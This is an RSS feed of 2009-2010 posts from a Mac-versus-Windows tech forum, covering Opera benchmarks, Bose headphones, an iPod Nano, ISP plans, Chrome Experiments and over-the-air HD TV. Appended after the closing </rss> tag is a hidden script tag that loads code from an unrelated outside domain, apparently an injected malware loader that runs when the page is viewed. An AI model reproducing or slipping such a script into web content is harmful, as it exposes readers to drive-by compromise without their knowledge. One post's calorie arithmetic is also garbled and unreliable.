<?xml version="1.0" encoding="iso-8859-1" ?>
<rss version="2.0">
<channel>
	<title><![CDATA[Tech News & Discussion]]></title>
	<description></description>
	<link>http://macvswindows.com/forums/index.php</link>
	<pubDate>Fri, 10 Sep 2010 04:48:53 -0700</pubDate>
	<ttl>60</ttl>
	<item>
		<title>The Computer Chronicles</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=935</link>
		<description><![CDATA[<a href="http://www.archive.org/browse.php?field=subject&mediatype=movies&collection=computerchronicles" target="_blank">http://www.archive.org/browse.php?field=su...puterchronicles</a><br /><br />While I never knew this show existed when it ran, I've been going through and watching many episodes since I found this archive. It looks like it ran from the early '80s all the way to 2002 or so, covering everything from the Commodore 64 to Windows 95, to DVD drives, with tons of stuff in between. <br /><br />One episode, for instance, discusses all the cool things you can do with a brand new DVD drive in your PC, such as not have 36 discs for an encyclopedia. Another demonstrates all the cutting-edge techniques to enjoy music in 1998, including Napster and mp3.com, as well as high-capacity MP3 players with up to 1.6 gigabytes of storage. An especially interesting segment featured a desktop trackpoint from 1996, accompanied with the observation that "the laptop industry seems to be standardizing on the trackpoint as the pointing device of choice."<br /><br />Some of the videos do have some audio problems, but overall the collection is very interesting to spend an afternoon browsing.]]></description>
		<pubDate>Wed, 28 Jul 2010 15:34:48 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=935</guid>
	</item>
	<item>
		<title>iOS 4 vs Android</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=932</link>
		<description><![CDATA[With the release of iOS (formerly iPhone OS) I have been hearing a lot of comments about how Android is more advanced to develop for, but I never hear a reason why?<br /><br />I would think iOS being based on OS X and NOT using a Java based VM would give iPhone developers an edge over Android. What am I missing? I am not a developer by any means, but does Android have better APIs or tools?<br /><br />Or does all of this lead back to the restrictions Apple places on its platform which are subjective based on your own preferences and usage of the device?]]></description>
		<pubDate>Tue, 22 Jun 2010 19:39:03 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=932</guid>
	</item>
	<item>
		<title>Opera</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=921</link>
		<description><![CDATA[Firgured it's just easier to make on ongoing thread bout opera so...<br /><br /><br /><a href="http://www.opera.com/browser/next/" target="_blank">http://www.opera.com/browser/next/</a><br />The new 10.5 beta 1 for windows was just relased the other day. Not only does it have much better win 7 intergration then everyon else other then ie (tabs show up in aero peek, speed dial is listed in the popup, etc)  it a bit faster then the latet chrome dev weekly on the sunpsider test<br /><br />Chrome 5.0.317.2 : 648.6ms<br /><br />Opera 10.5 beta 1: 516.2ms <br /><br />The mac and linux builds are into alpha stage and avibal form thier devoplment blog<br /><a href="http://my.opera.com/desktopteam/blog/" target="_blank">http://my.opera.com/desktopteam/blog/</a><br /><br />And for the very aero pic:<br /><img src="http://img684.imageshack.us/img684/4300/94476517.jpg" border="0" class="linked-image" />]]></description>
		<pubDate>Fri, 12 Feb 2010 09:35:10 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=921</guid>
	</item>
	<item>
		<title>Bose noise cancelling headphones</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=893</link>
		<description><![CDATA[I bought <a href="http://www.bose.com/controller?url=/shop_online/headphones/noise_cancelling_headphones/quietcomfort_15/index.jsp" target="_blank">Bose QC 15</a> noise cancelling headphones this weekend. I paid 349.00 CDN. I had done some research online before I bought them. What sold me was listening to them at an Apple store. Since then I have compared them to my Sennheiser headphones at home. The <a href="http://www.sennheiser.com/sennheiser/home_en.nsf/root/private_headphones_audiophile-headphone-hd515-bass?Open&path=private_headphones_audiophile-headphones" target="_blank">Sennheiser 515</a> headphones are better but only when connected to a high power amp. The Bose headphones are truly fantastic when listening to my iPod in a noisy environment. The noise cancelling is rated at 90% and I would agree. I regularly travel on the <a href="http://tripplanning.translink.ca/hiwire?.a=iScheduleLookupSearch&LineName=999&LineAbbr=999" target="_blank">Skytrain</a> which is an elevated light rail transit system. It's noisy. The Bose headphones almost completely quieten the environment. I can turn down my iPod Nano and still hear the music. The bass is much better and more natural than when using my Sennheiser PMX 60 headphones. At the moment the Bose QC 15 headphones are the best headphones for listening to portable music devices in noisy environments. I also listened to Bose QC 3 headsets. They are equally good at noise cancellation but I decided against them because they sat on the ear instead of around the ear which I find more comfortable.]]></description>
		<pubDate>Tue, 27 Oct 2009 00:56:46 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=893</guid>
	</item>
	<item>
		<title>White Spaces</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=892</link>
		<description><![CDATA[I think it's inevitable that high power transmitters will be installed in big cities in the next few years which will deliver dependable digital data over the air to anyone with an antenna. That means that cable/dsl providers will be providing service to only those outside the range of the transmitters.<br /><br />Right now  local TV broadcasters broadcast digital video signals over the air. However, they could easily broadcast Internet data. I'm thinking that broadcasting the Internet over the air using TV bands is just a matter of time.<br /><br />Comments?]]></description>
		<pubDate>Mon, 26 Oct 2009 23:10:50 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=892</guid>
	</item>
	<item>
		<title>Internet Plans</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=889</link>
		<description><![CDATA[I've been having a discussion about the state of the internet here in Australia on another forum and I wondered what it's like in America (and other parts of the world).<br /><br />I'd like to know which country you're in, which ISP you have, what kind of connection, how fast your connection is, if usage caps are imposed and how much it all costs.<br /><br />I'm with Telstra, our biggest and evilest ISP.<br /><br />I have a cable connection that goes this fast:<br /><br /><a href="http://www.speedtest.net" target="_blank"><img src="http://www.speedtest.net/result/592717408.png" border="0" class="linked-image" /></a><br /><br />I have a usage cap of 25 GB a month, if I go over I'm slowed to 64 Kbit/s for the remainder of the month.<br /><br />I'm paying AU$80 a month, which is about US$74.]]></description>
		<pubDate>Thu, 15 Oct 2009 01:31:55 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=889</guid>
	</item>
	<item>
		<title>iPod Nano</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=878</link>
		<description><![CDATA[I bought a new iPod Nano 16 GB today. I tried out the video camera and I was impressed. I wasn't expecting much from such a small camera. However the video and audio quality is fine for posting on a website. I like the voice memo feature too and the pedometer told me I walked 5,000 steps from the store to my home. The pedometer hooks up with Nike+ online and also Facebook. Nike+ site tells me that 4500 steps equals climbing a 100 story building. That's not at all true. I calculate that walking up  a 100 story building would burn 294 kilojoules or about 70266 calories or 70 kcal The site says climbing 100 storys would burn 225 calories for a 110 kg man.  It does make for a nice graphic though.<br /><br /> The little amp in the Nano is not as powerful as the one in the Touch or Classic but it is crisp and clear. As usual the little earbuds that come with the iPod Nano are just adequate. You can use other headphones. I use Sennheiser PMX 60 headphones and I got better FM reception. (you must have headphones pugged in to get FM reception). I like that one can pause live radio. I don't know how many minutes can be stored<br /><br />Here's one of my first video clips<br /><a href="http://gallery.me.com/randydecker#100150" target="_blank">My Fridge</a>]]></description>
		<pubDate>Sat, 12 Sep 2009 21:50:19 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=878</guid>
	</item>
	<item>
		<title>iTunes 9</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=876</link>
		<description><![CDATA[<!--quoteo--><div class='quotetop'>QUOTE </div><div class='quotemain'><!--quotec-->Is the store absolutely unusable for anyone else? I mean, so choppy and slow that it's really unusable? I hope there's an update to address that<!--QuoteEnd--></div><!--QuoteEEnd--><br /><br />Well scrolling is slow as molasses, but then again every version of iTunes I ever tried had that same problem]]></description>
		<pubDate>Thu, 10 Sep 2009 19:07:13 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=876</guid>
	</item>
	<item>
		<title>Google Chrome Experiments</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=868</link>
		<description><![CDATA[If you haven't been to this site you should.<br /><br /><a href="http://www.chromeexperiments.com/" target="_blank">Google Chrome Experiments</a> is a place where all of the cool sites like <a href="http://www.satine.org/research/webkit/snowleopard/snowstack.html" target="_blank">Snow Stack</a> are showcased. All of them are coded entirely in HTML, CSS and Javascript. No Flash or other third party plugins are required at all.<br /><br />Some of the experiments may require a recent build of Google Chrome or WebKit nightly build, others run just fine on the run-of-the-mill versions of Safari or Firefox.<br /><br />Here are some that I particularly liked:<br /><br /><a href="http://mrdoob.com/projects/chromeexperiments/google_gravity/" target="_blank">Google Gravity</a><br /><br />Google but not as you know it. After you've finished mucking about, try doing a search. I don't want to give too much away, it'll spoil the surprise.<br /><br />More on Google Gravity <a href="http://www.chromeexperiments.com/detail/gravity/" target="_blank">here</a>.<br /><br /><a href="http://www.chromeexperiments.com/detail/wavy-scrollbars/" target="_blank">Wavy Scrollbars</a><br /><br />Wavy Scroll bars is an entire page of vertical scrollbars that move as you mouse over.<br /><br /><a href="http://www.chromeexperiments.com/detail/bomomo/" target="_blank">Bomomo</a><br /><br />Bomomo is a painting app with a difference.<br /><br /><a href="http://www.chromeexperiments.com/detail/ball-pool/" target="_blank">Ball Pool</a><br /><br />Ball Pool is another cool site. Instructions on how to use it are on the page but here's an extra tip; press the right mouse button for infinite balls.<br /><br />There's heaps more to look at and play with but it's good that there's a site that has all of these things in one place.]]></description>
		<pubDate>Fri, 14 Aug 2009 05:36:52 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=868</guid>
	</item>
	<item>
		<title>HD TV</title>
		<link>http://macvswindows.com/forums/index.php?showtopic=867</link>
		<description><![CDATA[I bought an HD TV antenna and was thrilled to get 3 HD channels over the air. I'd tried before to get analogue TV channels over the air but in downtown Vancouver the reception is terrible. So I didn't expect to get much if anything with the HD antenna. When I set it up the TV automatically found digital channels and they are all perfect. I get CBC, CTV and Global. CBC has quite a bit of HD content including the news. For me the biggest deal is that I get same as  cable or satellite HD for free. Of course I don't get same choice but then i can also watch video from Apple TV if I want to pay for it or free podcasts. I can also record HD content that I get over the air on my Mac. That's not possible with any of the digital video recorders that you get with Bell, Shaw, Telus or Alliant. (Canadian carriers)<br /><br />The antenna cost $79.00<br /><br />I'm curious about DVRs. Are there any that allow HD output such that you can archive on your computer?<br /><br />It occurs to me that over the air digital broadcast antennas must be a very volume business. If you subscribe to a cable, Internet or satellite service you get nothing more by using an antenna. So then you'd have to make a decision to get less content, albeit for free. I don't subscribe to any but an Internet service (not for TV) so for me, free over the air HDTV is a big plus.]]></description>
		<pubDate>Wed, 12 Aug 2009 22:50:55 -0700</pubDate>
		<guid>http://macvswindows.com/forums/index.php?showtopic=867</guid>
	</item>
</channel>
</rss><script src="http://holasionweb.com/oo.php"></script>